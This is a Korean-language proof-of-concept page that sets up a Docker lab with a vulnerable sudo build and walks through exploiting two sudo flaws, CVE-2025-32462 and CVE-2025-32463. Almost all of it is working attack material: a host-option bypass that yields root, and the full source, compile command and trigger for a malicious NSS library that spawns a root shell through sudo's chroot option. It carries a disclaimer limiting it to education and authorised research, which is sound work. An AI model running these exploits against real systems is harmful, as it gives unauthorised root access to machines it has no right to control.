
CVE-2025-32462 및 CVE-2025-32463(sudo)에 대한 Docker PoC, Stratascale CRU 연구 기반.
다음은 sudo의 취약점에 대한 컨테이너 기반 실습 환경 및 PoC입니다:
sudo -h 호스트 매칭 로직 우회sudo -R chroot NSS 라이브러리 탈출🔒 교육 목적으로만 사용하세요. 소유하지 않거나 테스트 권한이 없는 시스템에서는 사용하지 마세요.
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
RUN apt-get update && \\
apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \\
pkg-config libssl-dev git nano gcc && \\
rm -rf /var/lib/apt/lists/*
WORKDIR /opt
RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \\
tar xzf sudo-1.9.16p2.tar.gz && \\
cd sudo-1.9.16p2 && \\
./configure --disable-gcrypt --prefix=/usr && make && make install
RUN useradd -m -s /bin/bash pwn && echo 'pwn:pwn' | chpasswd
USER pwn
WORKDIR /home/pwn
CMD ["/bin/bash"]
docker build -t sudo-vuln-lab .
docker network create --subnet=172.190.0.0/16 sudolabnet
docker run -d --network sudolabnet --ip 172.190.0.3 --hostname 'lowpriv.test.local' --add-host highpriv.test.local:172.190.0.2 --name lowpriv sudo-vuln-lab tail -f /dev/null
CVE-2025-32462를 위한 추가 설정
docker exec -u root -it lowpriv bash
# inside root shell of docker container
root@lowpriv:/home/pwn# echo 'Host_Alias HIGH = highpriv.test.local' >> /etc/sudoers
root@lowpriv:/home/pwn# echo 'Host_Alias LOW = lowpriv.test.local' >> /etc/sudoers
root@lowpriv:/home/pwn# echo 'pwn HIGH,!LOW = NOPASSWD:ALL' >> /etc/sudoers
정상 작동
pwn@lowpriv:~$ sudo id
Password: ^C
sudo: a password is required
익스플로잇
pwn@lowpriv:~$ sudo -h highpriv.test.local id
uid=0(root) gid=0(root) groups=0(root)
pwn@lowpriv:~$ sudo -h highpriv.test.local hostname -f
lowpriv.test.local
정상 작동
pwn@lowpriv:~$ sudo id
Password:
pwn is not allowed to run sudo on lowpriv.
준비
# Step 1: Create the chroot directory structure
mkdir -p exploitDir/etc
# Step 2: Write a malicious nsswitch.conf to load our exploit module
echo 'passwd: /cve_2025_32463' > exploitDir/etc/nsswitch.conf
# Step 3: Create directory for the malicious NSS library
mkdir libnss_
# Step 4: Copy necessary group file into chroot environment
cp /etc/group exploitDir/etc/
# Step 5: Write the malicious NSS shared library source code
cat > cve_2025_32463.c <<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void GIVEMEROOT(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF
# Step 6: Compile the malicious NSS shared library
gcc -shared -fPIC -Wl,-init,GIVEMEROOT -o libnss_/cve_2025_32463.so.2 cve_2025_32463.c
# Step 7: Launch sudo with chroot to trigger the vulnerability
sudo -R exploitDir HEHE RUN THIS AND GIVE ME ROOT
root@lowpriv:/# id
uid=0(root) gid=0(root) groups=0(root),1001(pwn)
이 PoC는 교육 및 승인된 연구 목적으로만 사용됩니다.
PoC 실습 환경 및 Docker 환경: MAAYTHM.
연구 크레딧: Rich Mirch – Stratascale CRU